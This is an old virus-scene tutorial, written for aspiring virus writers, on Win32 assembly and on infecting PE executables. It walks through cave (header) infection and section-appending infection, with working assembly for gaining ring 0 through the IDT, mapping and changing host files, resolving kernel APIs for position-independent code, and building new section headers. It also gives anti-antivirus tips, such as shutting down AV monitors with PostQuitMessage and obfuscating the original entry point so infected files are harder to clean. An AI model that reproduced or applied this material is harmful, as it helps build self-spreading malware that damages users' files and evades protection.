                Intro to Win32 Programing in ASM, and PE infection.
                             By: Techno Phunk / TI


[Intro]

        Well, as we all know, the world of win32 has crept up on all of us.
Some of the elite few such as Vecna, Virogen Z0mbie, murky, and so on ,
and so forth....I mean the list goes on and on, have already goten into
this area of virus writing and programing. I have noticed a lot of the newer
viruses in win32 at least are simple rewrites of viruses already in existance
this is a major reason I'm writing this article in about 70% theory. Second,
I have seen so many VX that have no clue about win32, as they couldn't really
get a lot out of existing tutorials. So I wrote this one. I will first discuss
win32asm, this way you won't be left to guess what is going on. Then, I will
discuss everything you need to write a win32 virus, and then 2 diffrent types
of viruses in win32: Caving (PE header free space), and Adding a New Object.


[What You Need]

Before we start, get the following:

what file(s)?    Where to get?
--------------  -----------------

TASM v5 -       http://tinet.cjb.net
API refrence -  http://tinet.cjb.net
Microsoft SDKs - not really needed, but recomended reading for win32 programers.


[Here We Go]

 O.k, well, basicly, the language hasn't *realy* changed. However, we have
new toys. API's which are like our old INTerupts from the old 16-bit world.
Also, as the name implies. We are now in 32-bit registers and so on. Registers
in w32 are formed like so: eax ebx ecx ebp, and so on..So, nothing really new
if you ever played with P-mode. Just know also that win32 is under PMODE. (protected mode).

You can also use 16-bit registers, however they arn't really that common.
If you don't know, a byte consists of 4 bits. So, 32-bit data is 4 bytes in
length. DD or Dword is basicly how we mark things such as:

BlahBlah dd 00323023h

A intresting (fun) part about 32-bit regs is that in a simple XOR loop, you can
have over 4 *billion* diffrent virus bodies. But, of course, this increase in
numbers doesn't fix anything. So, poly engines still need to be implemented.

 Now, in Win32 when we want to call a API we must goto our index, find out what
PARAMETERS are needed, and then proceed. Now, a great index of Win API's can
be found at tinet.cjb.net...in the UTIL section.

        Anyhow, our parameters are PUSHed, and then, the API called.
In most cases. Sometimes, registers are implemented for diffrent things.
Usualy, for calculations, and things like this. So, no more (not really)
mov ah,<func> int 21h. (see later for why I say not *Really*)


[Hello World]

        For example Lets preform the WORLD famous "hello world" program with
a bit of a twist :) It becomes a tad bit more complex if/when you start to
add windows, and things like this. But I will use Window's only pre-registered
class, which is in the API MessageBoxA. So, on with the code...right? ;)

.386
.Model Flat
Locals
Jumps
Extrn ExitProcess:PROC
Extrn MessageBoxA:PROC
.Data
dd 0
title_of_win db 'Technological Illusions',00h
msg   db 'TI rules u <G>',00h
.code
start:
 push 10h                   ; 10h = default icon for error ;)
 push offset title_of_win   ; Title of the window.
 push offset msg            ; the message.
 push 0                     ; a nul value.
 call MessageBoxA           ; Do it.
                              
 push 0                     ; exit this process. - 0 = exitcode.
 call ExitProcess

ends
end start

---
[LIB Files are your friends]

O.k, as you see in the above code, basicly a push of parameters, and a call
to a API that has been brought in from a LIB file. Now, what did you say 
TP? LIB file? I've heard of them, but what do they have for me? O.k, basicly
a LIB file contains your API's, which you can get a LIB file by using
IMPLIB which comes with TASM32, and extract these from DLL files. w32.lib
included in this mag, has all the API's from common used DLL's, such as
Kernel32.dll, User32.dll, and Shell32.dll. I created it, thanks to Virogen's
instruction, by:

IMPLIB w32.lib c:\windows\system\kernel32.dll c:\windows\system\user32.dll
c:\windows\system\shell32.dll

So, basicly, when you use IMPLIB you put the new LIB files name first, and
the DLL's to extract as the next parameters.

[Makefiles]

        Makefiles are your friends. They basicly serve as a "batch" file for
make.exe (included with tasm 5).

Then, you can use a makefile for compilation:

---this is a sample - the one I use most of the time.

# put the name of the ASM file in NAME (without extention)
# this is a simple make file, good for *MOST* apps/viruses <G>
# w32.dll contains all the things you need from kernel32, user32, and shell32
NAME = head
OBJS = $(NAME).obj
DEF  = ti.def
# replace with w32.dll (for most things) - this we need import32.lib
IMPORT = w32.lib

$(NAME).EXE: $(OBJS) $(DEF)
  tlink32 /Tpe /aa /x $(OBJS),$(NAME),, $(IMPORT), $(DEF)

.asm.obj:
   tasm32 /m3 /ml $&.asm

----stop cuttin <G>----

O.k, now, you have that idea down? O.k. Now a little more info on the above
"program".

[What does it all mean?]

        Now, lets break this program down into smaller pieces, where I'll
explain each bit of it.

        .386

386+ procceser ;)

        .Model Flat

Get used to this directive. Model FLAT
the others are nothing new (much less, that important)

        Extrn ExitProcess:PROC  

O.k, we must have an ExitProcess, basicly like the termination function of
w32....however, we use it to exit a process.

        Extrn MessageBoxA:PROC

MessageBox (one of those pop-up boxes with basicly, an OK button)
Nothing big, basicly, we will use this as our window and our place to
display some text. The only (?) predefined window class in winblows architecture.

        .Data

We must have a data segment, for data, in viruses, we don't use this for data
as it'd be lost.
but we must have the Dd 0, so TLINK don't b@#$ at us....don't ask :)

        dd 0

Just a basic 32-bit nul ;) - trash
        
        title_of_win db 'Technological Illusions',00h

The Title of our window (message box), a parameter we will use in
our MessageBoxA API.

        msg   db 'TI rules ju <G>',00h

Jus a lil' Message <G> (also used by MessageBoxA API)

        .code

Finnaly! de code -section- 

        start:
         push 10h

first parameter we need to push is basicly, the TYPE of message box, this type
will add the little X icon to the side along with the actual box. See
Windows.inc for the diffrent boxes available and their values.

         push offset title_of_win

Our second parameter, we must tell the API what the title will be. It can
be anything you like, oviosly. As long as it points to a nul-terminated
string.

         push offset msg

Our 3rd Parameter. Basicly, just a pointer to the message. Must be nul-terminated.

         push 0

This is the last parameter of this praticular API, and it defines the STYLE
of the message box, as like, what buttons, or whatever. So like, you could
define this message box to have the "Retry", "Cancel" buttons. but for our 
purposes, we'll do only an OK button.

         call MessageBoxA
        
Call the MessageBox API now, and it will display a message box and o.k button
and that cute icon we gave it the values to display ;). And, it'll wait
until OK is pushed until we proceed to next step.
                              
         push 0

the 0 defies the exit code, in this case we'll just leave as 0, usualy, it
will be 0 for most uses by us <EG>.

         call ExitProcess

And ExitProcess API to do the job. Danke, have a nice day! :)


So, now, you understand the BASIC principal of how these types of things are
done. You understand the basic concepts of using w32 API's, and things like
this. You can probably write most legit apps after writing a virus in win32.
Which, as I've been writing this tutorials, I have found it to be not the easiest
stuff. Just, don't be lazy  ;). Anyhow, be sure to look at the explanation
of RING's in win32 which is next, it's sorta important, and will save you a
bit of "why won't in al,40h work anymore?" and so on.

[Rings]

 Now, in windows we have diffrent "rings". These serve as almost like
acces levels to diffrent things. For example:

                In Eax,40h
                Mov Ecx,Eax

        WON'T work in a normal program, you say WHAT!? well, here is
why. In order to acces ANY port, wether this port be the timer, the
CMOS (70h-71h) or even the PC speaker, your going to HAVE to be in ring0.
Sorry, just how life goes. Basicly, in Ring3 you can only access the memory
that is accesable by you, and things like that. Usualy, to become resident you
need ring0, unless you use a method similar to Virogen's Lorez. Bellow is
an example of getting ring0 by Virogen (NOT BY ME).

[Example of Ring0]

; Virogen's IDT Ring 0 sample
;
;  This little sample code shows how to obtain ring 0 by changing an interrupt 'vector'
;  in the IDT and then issuing a call to that interrupt. All we do here is issue a beep
;  through the PC speaker to show that it works.
;
;  We also set up an SEH frame in case you're running this proggie under WinNT and there
;  is an error accessing the IDT.
;
;  Note that the actual idea of this was in CIH and the lame beep i just ripped, spending
;  more than 5 minutes on this little shit would be a waste of time<g>.
; 
;  latez..
;  virogen[NOP]
;  vgen@hotmail.com
;  http://virogen.cjb.net
;  
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
.586p
locals
jumps
.model flat,STDCALL
include mywin.inc
.data
caption db 'Virogen''s IDT Ring 0 Sample',0
good_txt db 'Ring 0 success!',0
bad_txt db 'IDT access error. Perhaps we''re in WinNT',0
.code
start:
int_number equ 1
         call set_seh			; setup SEH frame
         mov esp,[esp+8]                ; if error then no IDT access
         lea eax,bad_txt
         mov ebx,MB_ICONEXCLAMATION     
         jmp exit_me                    ; end error handler
set_seh:
         push dword ptr fs:[0]		; save old exception ptr
         mov fs:[0],esp         	; set ptr to our exception handler

         sidt [esp-02h]                  ; get IDT 
         pop  ebx               
         add  ebx, int_number*08h+04h          
         mov ecx, [ebx]                  ; get original interrupt base
         mov cx, [ebx-04h]               ; original entry point         
         lea esi, my_int                 ; esi->new int1 handler         
         mov [ebx-04h], si               ; set base of new handler
         shr esi, 16                     ; si=high word of esi
         mov [ebx+02h], si               ; set entrypoint of new handler                                                                                             
         int int_number                  ; issue call to interrupt
         mov [ebx-04h], cx               ; restore original int 1 
         shr ecx, 16            
         mov [ebx+02h], cx     
         
         pop dword ptr fs:[0]                      ; restore original SEH frame
         pop edx				   ; fixup stack 
         
	 lea eax,good_txt
	 xor ebx,ebx
exit_me:
	 push ebx
	 push offset caption	 
	 push eax
	 push 0
	 call MessageBoxA
         push 0
         call ExitProcess
my_int:                                            ; now in Ring-0
	pushad
        mov ax, 1000 
        mov bx, 200
        mov cx, ax
        mov al, 0b6h
        out 43h, al
        mov dx, 0012h
        mov ax, 34dch
        div cx
        out 42h, al
        mov al, ah
        out 42h, al
        in al, 61h
        mov ah, al
        or al, 03h
        out 61h, al
        l1:
                mov ecx, 4680
        l2:
                loop l2
                dec bx
                jnz l1
        mov al, ah
        out 61h, al
	popad
	iretd				; return to caller	
	
warble:
	ret	
end start
ends
		 
        You'll begin to understand this code above later on, but right now,
don't worry about it. Learn the basics first, and remember not to rush yourself.


[Discussion]

        Lets talk, o.k, so we have now not only a new programing format, but
a new file format also. PE Files, or Portable Executables are windows' version
of EXE files. Basicly, an offset of the NE file (New Executable - windows 3.1)


[The Dos Stub]

        This is put here just so that the dummy who tries to run a
win32 program on his old 386, knows that it's not gonna work. Anyhow, first
of all, when ran from a DOS enviroment, it'll load like a normal EXE, and
display "Can not Run In Dos mode." or whatever the compiler chose.

        Now, some of the windows virii infect this part of the file, however,
we are not going to cheat, and this method is useless, it won't ever run
(under normal circumstances) ...but if your itching to see one, look at
prion, compo, or some other stub infector.

        O.k, know, then at offset 3ch in the file, you will find the offset
of the PE header (word). This we can use after we have our file MAPED (see
later) and we need to start playing with the PE header. Or otherwise.

        Now, anyhow, so we have the PE header, this will give us a lot of
info that we will need in our virus, such as the current Eip (used to
return to host).

[The Object Table]

So, now we have to deal with the Object table, in otherwords: section headers
These are 40 byte sections that tell: 

        * SectionName   - A 8 byte name (.techno ) is an example
        * VirtualSize   - the VIRTUAL size of the section
        * SectionRVA    - the sections Relative Virtual Address
        * Physical Size - It's physical Size.
        * Physical Off. - Physical Offset
        * Reserved      - 12 bytes of 0's ;)
        * Objectflags   - what attribs the section has, for example (.techno )
                          has ERW

                * E - 0eh - Executable Code
                * R - Read  \
                             > 20h - Read/Write
                * W - Write /


Now, You must understand, that, when Winblows loads up this PE file, it goes
wherever it's pointed to go by Eip. Also, unlike MZ exe's, in PE files
we have Multiple headers. The PE header, and then the Object Table, which
contains the section headers.

[Some Definitions]

Let me now explain what RVA is (Relative Virtual Address).

        A Relative Virtual Address (RVA), is used to describe a memory
address when you don't know the file's base. When you add the RVA to the
base address, you will get the linear address. or, rather, the physical
address.

[The Base]

        The Base Address value can be found at the value of the Image
base which, is found at offset 52h. This value is a Long Word (32-bit) - Dd.

[PE file Layout]
                    
* a Dos "header"   * -*
* The DOS STUB     *
* The File-Header  * -
* Optional Header  *
* Data Directories *
* Section Headers  * -
* Section 1        *
*      [...]       *
*      [...]       *
* Section X        * -* (not mentioned in this tutorial)


Key: -* = Sorta.
      - = you bet your sweet heart that we use it ;)

[The File Header]

        Next you will find the File-Header. A.k.a: PE header (if it's a
PE file that is). In this header, you will find information about the file
itself. It starts out with the word 'PE' to mark what kind of New Executable
it is, which signifies to us, that it is indeed a Portable Executable.
        In the header you will find import info such as:

                * 28h - Eip value (entry point)(DD) - 32-bit
                * 38h - Section Alignement     (DD) - 32-bit
                * 3ch - File Alignment         (DD) - 32-bit
                * 74h - # of directory entries (DD) - 32-bit
                * 6h  - # of sections <EG>     (DW) - 16-bit
                * 54h - size of header         (DD) - 32-bit

[A Small Note]
        I might mention here that SCR files also have this format (as long as
they are w32 files) - SCR files if you don't know are screen saver files
that windows gives a goofy name for no reason, as they are just renamed EXE
files =).

        Well, now that you have your basic introduction...I will cover things
you need in ALL forms of PE infection next.

[Old Tricks]

        First of all, to get the Delta offset, which we must do, as long as
we are chaning possitions ;). Basicly, you should know this already, but
just add an E to make the regs 32-bit referenced.


       Call Delta             ; see spot
Delta: Pop Ebp                ; see spot run
       Sub Ebp, offset Delta  ; Run Spot run!

Basicly, that's the only change bp--> ebp.

        * Now, Ebp = Delta.

Lets talk a bit about a *VERY* important value in the header, that EVERY single
type of PE infector will have to goof with, exception of the pre-pender of course.

[Eip Is -Very- Important]

        This value is stored at PE+28h - if you havn't guessed already, this
is Eip. You may be thinking why only IP? in MZ we delt with Cs:Ip.
Well, in PE things have changed. Now, the offset of the entry is pointed to
by this value. So, lets say you want to know what offset in the file is going
to be executed first, you simply look at Eip, and then scan to that place, and
there it is. Not too difficult. Note: IP - 8h (in dos header) - (not Eip) points
to the DOS stub of the file well, rotate that value left 4 bits (rol <reg>,04).

        It's that simple. Now, for a header infector, this is the only value
you update however, in a normal Appender, it is a bit more complex.

[CreateFileA and it's uses]

        One other thing you must deal with in your virus is going to be
the opening of a file. This requires the API: CreateFileA - don't be fooled.
here's how we open a file using it:

        Push 0                                 ; attribs
        Push 0                                 ; attribs 
        Push 3                                 ; OPEN EXISTING File
        Push 0                                 ; Security
        Push 1                                 ; File share for read
        Push 0C0000000h                        ; write and read
        Lea Esi, [Edi.FileName]                ; ESI = pointer to filename...
        Push Esi                               ; "
        Call Dword Ptr [Ebp+_CreateFileA]      ; same as a open (just how winblows was worked)

; this assumes that Edi.Filename points to the filename of the host.

        This is one API you will *HAVE* to use most likly, no matter
what method of infection, or read/writing.

[How We Access Around Here]

        Now. Another descision one must make in their virus, is wether to
use File maping, or direct access.

[File Mapping]

Lets talk, first about File Maping, since it is rather simple. First of all,
file maping is simply loading the ENTIRE fridgin file into memory, and then
making modifications there...and then, droping it down to the disk on "unmaping".

This is all well and good...but, as you imagined, with simplicity, comes extreemly
bloated code. But, lets talk a bit about it before I move on.

[APIs needed]

        * CreateFile - told you
        * CreateFileMapping - to create the map.
        * MapViewOfFile - create a view for the map (explaned later)

        * UnmapViewOfFile - start of close - unmap it from memory (writing to disk now)
        * CloseHandle - close this file handle.

that's all of them...you say: not so bad. Heh, the next method only needs 3
APIs :).

Now, before I go further, I want to mention a bit about calling an API from
a non-static enviroment. In a virus, we NEED a way of calling the API address
defined by the kernel, as they *ARE* diffrent from version to version. Now,
basicly we must have a API table such as:

_CreateFileA dd 0
_MessageBoxA dd 0

where we will store the API addys we get. Next, to call them we simply do this:

Call Dword Ptr [Ebp+<api name>]
      ^ offset is dword
                 ^ non-static location, so add delta
                       ^ API name we are calling e.g: _CreateFileA

Understand? Good. lets keep going on now.

        So, what to do to map a file? Very simple. Please look these up
in your w32 refrence before proceeding, as I can't include them here
(too large of information).

Lets Do an example of Create the file map from a runtime virus.


        Push 0                                 ; ?
; you'll need to calculate this amount - virussize + host size + 1000h
        Push Dword Ptr [Ebp+MemorySize]            ; max mem size.
        Push 0                                 ; min size
        Push 4                                 ; Read/Write access
        Push 0                                 ; Security Attribs, blah.
; handle returned by CreateFileA
        Push Dword Ptr [Ebp+FileHandle]        ; and the actual file handle.
        Call Dword Ptr [Ebp+_CreateFileMappingA]; Create file mapping of file

Now, Eax = handle. Which, on error = 0. Be sure to remember to check for
error. The Map handle is very important for you later on BE SURE TO SAVE IT!

; agian, need to calculate this before. (same as above)
        Push Dword Ptr [Ebp+MemorySize]         ; create view of map.
        Push 0                                 
        Push 0                                 
        Push 2                                 ; Write Mode
; EAX still = Map Handle.
        Push Eax                               ; Map Handle
        Call Dword Ptr [Ebp+_MapViewOfFileA]   ; Maped yer view for ya..happy?! :)

Check error (Eax=0)...otherwise, Eax points to begining of file in memory.
You should point ESI to that value (for access to the file). ALSO SAVE THIS
VALUE :)

When ready to close:
        Push Dword Ptr [Ebp+MapAddress] ; will be writen to the host now.
        Call Dword Ptr [Ebp+_UnmapViewOfFileA]

Very simple.

        Push Dword Ptr [Ebp+MapHandle]  ; Close de map.
        Call Dword Ptr [Ebp+_CloseHandleA]

  Closes Map.

        Push Dword Ptr [Ebp+Offset FileHandle] ; done.
        Call Dword Ptr [Ebp+_CloseHandleA]

Closed the Handle now.

Very simple eh? I hope you understand, if not, get out win32.hlp ;). - you
do have it, right? <G>

[Direct Access]

 In this section, I will talk about the other method of read/writing to a PE
file, or for any file actualy. First of all, lets look at what APIs we'll need.

ReadFileA - duh.
WriteFileA - oviosly
CreateFileA - told ya
SetFilePointerA - For moving around in the file (sorta like DOS's ah=42h/int 21h)

This I will include the API refrences for.

ReadFileA - 
The ReadFile function reads data from a file, starting at the position
indicated by the file pointer.

When this function completes, the file pointer is where it last read..unless
you enable overlapping.

ReadFile -

HANDLE  hFile,      // handle of file to read
LPVOID  lpBuffer,   // address of buffer that receives data  
DWORD  nNumberOfBytesToRead,        // number of bytes to read 
LPDWORD  lpNumberOfBytesRead,       // address of number of bytes read 
LPOVERLAPPED  lpOverlapped  // address of structure for data 

Parameters -

* hFile

File to be read.

* lpBuffer

Points to the buffer that receives the data read from the file. 

* nNumberOfBytesToRead

How many bytes to read.

* lpNumberOfBytesRead

Points to the number of bytes read.

* lpOverlapped

Points to an OVERLAPPED structure. This structure is required if hFile
was created with File_Flag_Overlapped

Return Value - 0 if error

WriteFileA - I was going to do this for all of them, but I feel that you can
look them up, this is to save me some time and lots of space - thanks for your
understanding.

[Another Way for Access]

        As I mentioned earlier, APIs are like the INT's of the 16-bit world.
Well, recently, thanks to Vecna, I discovered that one can also call the old
Interupts, using VxdCall. As follows is how to call Int 21h from win32asm.

                                     ; dx = whatever, and so on.
       Push Ecx                      ; param
       Push Eax                      ; function
       push 002A0010h
       Call [Ebp+Offset Vxdcall]     ; emulated pmode version of int 21h
       

 Then, you may use old dos functions, not the best method, but it works. Best
Idea would be to make this a subroutine.

[Checks To Preform]

        First off, be sure to check for a windows file, it's the same way
as normal in dos - 18h = @ (40h). Next make sure that offset 3ch is within
the files size if not, it's not a valid file (or it's corrupted). And finnaly,
be sure to check PE+0 = "PE" and that File+0 = "MZ" of course. This will make
life better on you in the long run :).

[Marking Infection]

 It would oviosly be a BAD thing to reinfect a file, so, we must as in DOS viruses
mark our infection in some manner. The easiest of which (not the best - see later)
is to use the CheckSum (38h). This is a dword value, and just like in MZ, can be
anything you like...for example:

Mov Dword Ptr [Esi+38h],'TIPT' ; TPTI (reverse order)

this is a simple example of how to mark your infection, and is rather effective.
But read later if you want a bit more advanced theory.


[API Fetching]


        Unlike in DOS, we don't have a set standard for where our APIs (in dos
was INTs) are gonna be...in DOS it was simply 0000:Int#*4...right? well, guess
what..they move around, and there is no way to EASILY get them So, your gonna
have to do some code. There are 2 methods that I am aware of, the first being
the IMPORT table, and the other being the Kernel Searching Method.

        Using the Import Table, is very simple...as you know, the import table
contains the adresses of APIs. Basicly, what we are going to do is, locate
the table, get the address of GetModuleHandleA, and use it to retrieve APIs
addresses. I'll let you figure this out, because I'm too lazy to write it :).
Use the next method, it's better anyhow :).

[Kernel Searching]

 This method is probably the best and shortest, and was brought to my attention
when I first started learning this stuff about 4 months ago...by Virogen. He
used this method in most of his viruses (all of them that are win32 I think).
Anyhow, it's great for a few reasons: file doesn't have to have certain APIs.
And thus is more portable. And it's more compatible.

        This Method, probably should be called by me the Export Table method,
but, I like to refer to it as Kernel Searching, because in essance this is the
major part of this method.

        First off, there are 3 diffrent tables in the "export table". This
is the small layout:

        * API RVA table       -    32-bit
        * Name Pointer table  -    32-bit
-       * Oridnal Table       -    16-bit

        As you see indicated by the -, the Ordinal value is what we need. First
you simple multiply this value by 4. You know have the adress of the API RVA
Table. You say: sounds to easy...it isn't. You don't have the original ordinal,
so we must use the Name Pointer table to help us out a bit. This place is actualy
a table full of pointers to ascii names of APIs. Search out the name of the
API your looking for, then, take it's index number, double it, and you are now
happy.

        Below I have included Stone's StnGetProcAdress which is a good example
as you'll see.

comment %
	
	Stone's StnGetProcAddress replicates the kernel32!GetProcAddress
	function, however it's not rigged with "anti-hacking-code" which
	disallows OrdinalImports from kernel32 and further it doesn't
	hinge on API calls. You should probably allow for some better parameter
	verification.

	If you wish to utillize it in a delta-offset setting it'll modify to
	such a situation by removing the SetExceptionFrame & StoreExceptionFrame
	macros since no other static data is used. 
	All data is in local variables!

	2nd&mi

	stone@one.se

	%	

.386P
LOCALS
JUMPS
.MODEL FLAT, STDCALL			; with STDCALL we must reverse the sequence of pushes 
					; before a APIn call. 

UNICODE = 0				; Needed for w32.inc
INCLUDE W32.inc				; Windows definitions
include imghdr.inc
include excep.inc

lp EQU  OFFSET
extrn	GetCurrentProcessId	: PROC
extrn	GetProcAddress		: PROC
.DATA
tag	db "2nd&mi"		; Tag - not used.
szGetProcAddress	db "GetProcAddress",0
szKernel32		db "KERNEL32.DLL",0


.CODE

start:
	int 3
	call	GetModuleHandle, offset szKernel32


	call	StnGetProcAddress, eax, offset szGetProcAddress

	call 	ExitProcess, -28


StnGetProcAddress PROC
	ARG hMod:dword, lpszFunction:Dword
	LOCAL lpAddressTbl:DWORD, lpNameTbl:dword, lpOrdTbl:DWORD, OrdinalBase: Dword

	SetExceptionFrame		

	mov	esi, hMod				; Is it a PE module?
	add	esi, [ESI+3ch]
	cmp	dword ptr [esi], IMAGE_NT_SIGNATURE	; "PE"
	jz	@@PEOK

	xor	eax,eax					; hMod wasn't PE
	jmp	Exit

@@PEOK:
	mov 	esi, dword ptr [esi.DataDirectory+IMAGE_DIRECTORY_ENTRY_EXPORT]
	add	esi, hMod			; ESI=ExportTable

	mov	edi, [esi+36]			; Init ordinal table
	add	edi, hMod
	mov	[lpOrdTbl], edi		

	mov	edi, [esi+32]			; init Name table
	add	edi, hMod
	mov	[lpNameTbl], edi

	mov	edi, [esi+28]			; init address table
	add	edi, hMod
	mov	[lpAddressTbl], edi
	
	mov	edi, [esi+10h]
	dec	edi
	mov	[OrdinalBase], edi

	mov	eax, [lpszFunction]
	cmp	eax, 10000h		; Import by ordinal?
	jb	@@ImportByOrd

	mov	ecx, [esi+24]			; Number of entries in nametable

	call	TraverseNames, lpNameTbl, lpszFunction, ecx, hMod ; Name=>Ordinal

@@ImportByOrd:
	sub	eax, [OrdinalBase]		; Usually 0!

	lea	eax, [2*eax]			; eax=eax*2 (ordinals=word)
	add	eax, lpOrdTbl			; eax->ordinal of import
	mov	ax, [eax]			; ax=ordinal of import
	and	eax, 0000ffffh
	xor 	edx,edx				; prepare for mul
	mov	ecx, 4
	mul 	ecx				

	add	eax, lpAddressTbl		; eax-> Address RVA
	mov	eax, [eax]
	add	eax, hMod			; RVA->VA
	
	

Exit:
	RestoreExceptionFrame

	RET
StnGetProcAddress ENDP

TraverseNames PROC		; name => Ordinal
	ARG lpNameTbl:dword, lpToFind:dword, dwSizeOfTbl: dword, hMod:Dword
	xor	edx, edx
	mov	edi, lpNameTbl
	mov	ecx, dwSizeOfTbl

NextApi:
	mov	ebx, [edi]
	add	ebx, hMod
	call	StringCmp, ebx, lpToFind
	test	eax,eax
	jnz	Found
	inc 	edx
	add	edi, 4
	cmp	edx, dwSizeOfTbl
	jnz	NextApi

	xor	edx,edx
Found:
	mov	eax, edx
	ret
TraverseNames ENDP

StringCmp PROC
	ARG String1:dword, String2:dword
	push 	edi esi ebx
	xor 	eax,eax
	mov 	edi, String1
	mov 	esi, String2
@@NextLetter:
	mov	bl, [esi]
	cmp	bl,0
	jz	@@Exit
	cmp	bl, byte ptr [edi]
	jnz	@@False
	inc	esi
	inc 	edi
	jmp	@@NextLetter
@@Exit:
	mov	eax, TRUE
@@False:	
	pop ebx esi edi
	ret
StringCmp ENDP

ends
end start

[End of Code Example]




[PE infection by Caving (Header infection]


 The Very first (that I know of) virus to infect the PE header was <duh duh>
w95.Murky....I have seen the source to it, and it's a good virus....expesialy
for a first try (better than my first try <G>)....anyhow, that's beside the point
it had a "bug" (as AV's say), because it didn't get the API addresses..instead
it used STATIC (or constant) offsets. So, if you can write a very small routine
for this....good luck, and have fun...but otherwise, you probably will need static
offsets ;) - and it's no longer portable :)

 Now, onto how to go about "infecting the header"...First of all, we need to
locate where the "cave" or: free space, in the header is. This can be done
by taking first the BASE_OFFSET of the file (found in header) at offset: 52h
(PE+52h)....then adding it to the NUMBER_OF_SECTIONS*40, which
40 is the length of each Section's header.  Why? o.k....we need the Base_Offset so
we know where we are basicly...then...we take the number of sections * 40, because
we need to skip over 40 bytes for each section in the PE, thus getting to the
area AFTER the object tables. This is where we write the virus...but ermm...
only if we have enough room.

 How do we check? Well...here we go. Basicly, just subtract the diffrence
 between the Size Of header value (54h) from the above value, and compare.

However, you must remember to update Eip, to point at: #ofSections*40+base_offest
:)

[Adding a New Object]


This method is good if you plan on a lot of text strings, and otherwise
a pretty large virus. However, I still like the optomised world of header
infection :). Anyhow, it is rather complex in theory (it's gonna take a while
to explain), but you'll find that it's rather simple...and can be done in
little time using the knowledge you already know. But first, before I go any
further, I'll make a small table of the header offsets, formulas etc that
you'll need to know to write this kind of virus.

        * the ones further up.

[Formulas]

First of all, we must find the last section.

        Mov Ebx, [Esi+74h]                     ; No. of directories entries
        Shl Ebx, 3                             ; multiply by 8 to get size
        Xor Eax, Eax                           ; Eax = 0 (clean it up)
        Mov Ax, Word Ptr [Esi+6h]              ; # of sections - 16 bit (yay)
        Mov Ecx, 28h                           ; size of sections' header
        Mul Ecx                                ; EAX = ECX * EBX
        Add Esi, 78h                           ; We will now find out where last section is.
        Add Esi, Ebx                           ; Add EBX
        Add Esi, Eax                           ; ESI = Pointer to the End of last section

; now Esi  = Where we will write the code.

Now, for calculating the RVA of the virus section.

; assuming Edi = Esi ^

        Mov Eax, [Edi-32d]                        ; where we write minus 32 bytes.
        Add Eax, [Edi-28d]                        ; -28
        Mov Ecx, Dword Ptr [Ebp+SectionAlignment] ; Ecx = Section Alignment
        Xor Edx,Edx                               ; clean up Edx
        Div Ecx                                   ; device by section align
        Inc Eax                                   ; increment the value (round up)
        Mul Ecx                                   ; multiply.

; Eax = Virus Section Relative Virtual Address...store this!

        Mov Ecx,Dword ptr [Ebp+FileAlignment]    ; the files alignment
        Mov Eax,EndOfYourVirus-StartOfIT         ; Eax equals the virus size
        Xor Edx,Edx                              ; clean up Edx agian.
        Div Ecx                                  ; devide by File Alignment
        Inc Eax                                  ; round up
        Mul Ecx                                  ; and multiply

; EAX = physical size now.

Now for the Virtual Size of the section.

Virtual Size = [(SectionAlignment / VirusSize+1000h) + 1] * SectionAlignment
             
Physical Offset - This one I will show you in source, as it's hard to write
out in formula format.

        Mov Eax,[Edi-5*8+20d]
        Add Eax,[Edi-5*8+16d]
        Mov Ecx,Dword Ptr [Ebp+Offset FileAlign]
        Xor Edx,Edx
        Div Ecx
        Inc Eax
        Mul Ecx

; Eax = Physical Offset

ImageSize = size+1000h+ImageSize / SecAlign + 1 * SecAlign


Now, simply copy the new section header to the Object Table...move 40 bytes
to it (that'd be the size of the section header agian <G>)


[Infecting]

        First you'll need to get the last section header.  Now, take
this value (its RVA here, NOT physical)...and then add its VIRTUAL size, this
is the offset where you will writing your code, and will be your entry point
value also (Eip). Now, add your virus size to the raw and virutal size...
align the size to file alignment. If it is under the preceding virtual size,
do NOT touch this value agian, not needed. Otherwise, you'll need to align
it to the object align. Now, you'll need to make this section have the
attributes: RWE 
        Thus this should be your section info.:

        SectionName    db ".techno " ; must be 8 bytes in length.
                                     ; can be whatever you like in that boundary.
        VirtualSize    dd 0          ; virutal size of virus section.
        RVA            dd 0          ; it's Relative Virutal Address.
        Physicalsize   dd 0          ; physical size
        Physicaloffset dd 0          ; & physical offset
        Reserved       dd 0,0,0      ; reserved.
        Objectflags    db 20h,0,0,0E0h ; is readable, writeable, and executable

                * 20h = read/write.    
                        and                   
                * E0h = executable.    

 Note: most of these values *WILL* be changed...exception of: ObjectFlags,
Reserved, and SectionName. The rest WILL be changed.

 So, now, you SHOULD be able to figure out what you must do in order to write
a section appender. 


[Things That Shouldn't be hard coded]

As you and I Both know, hard coding has been around since the first few viruses.
It's simply the act of assuming certain things. Well, in win32, it's very picky
and thus, it's more important NOT to hard code certain things.

I would like to mention now a few things that CAN NOT be hard coded. IF you
want portability. That is.

APIs - this is the biggest thing!!!!
 I will explain in the next section, how to import API addresses in two diffrent
methods.

Image Base -
 I have seen viruses that assume 00400000h is the image base, true, but only
for some files! mostly made by TASM... but for files such as normal windows
files....no work :(, so simply use the image base of the file (from the header)
and everyone goes home happy.


[Making your viruses more AV resistant]

 The first thing I'd like to mention, is lets say u have a new virus done,
and you think it's cool. But, wham, your virus is cleanable (so what, it happens).
But ermm....the cleaned file can't be reinfected? what? Well, this is because
you used the CHECKSUM (38h) to mark your infection. This is the biggest problem
that you can cause your virus. All the AV has to do, is simply leave that sig
there, and your virus will never touch that file agian...so, what do we do?
Very simple, just use another method that the av must fix. One idea I think would
work nicely, is to simply look for the header to point to the last section
or to the free space in the header, depending on the type of infector, and check
this way.
 Another thing that we can do in win32 that is quite fun, is to pull out an AV
monitor, by making it think the user told it to quit. This is done by the API:
PostQuitMessage. Check this idea out while your at it.
 
 Finaly, a lot of viruses simply return to the original Eip. This is simply wrong
as AV just restores easily...Don't make it static, make it relative. Let me show
you how.

 Mov Eax, Offset Old_Eip         ; the old Eip variable's offset
 Mov Ebx, [Old_Eip]              ; Ebx= value of this variable
 Add Eax, [VSection_RVA]         ; add to the offset, the virus section's rva
 Sub Eax, Ebx                    ; now subtract the Old_Eip value
 Sub Eax, 4                      ; subtract 4
 Mov [Old_Eip], Eax              ; now then that was fun...

Basicly, this routine is to be done before hand...then the AVs must really
work a bit harder to fix.

Now, you get it? Good. Party time now. (It's all over)


[Ending]

Now, I know that I am not the best tutorial writer in the known universe. But,
I hope you have learned a lot from this tutorial, I have tried to make it as
clear as posible, and have included lots of refrences. I did not include code
for a few reasons, the bigest being: learn on your own - source is useless.
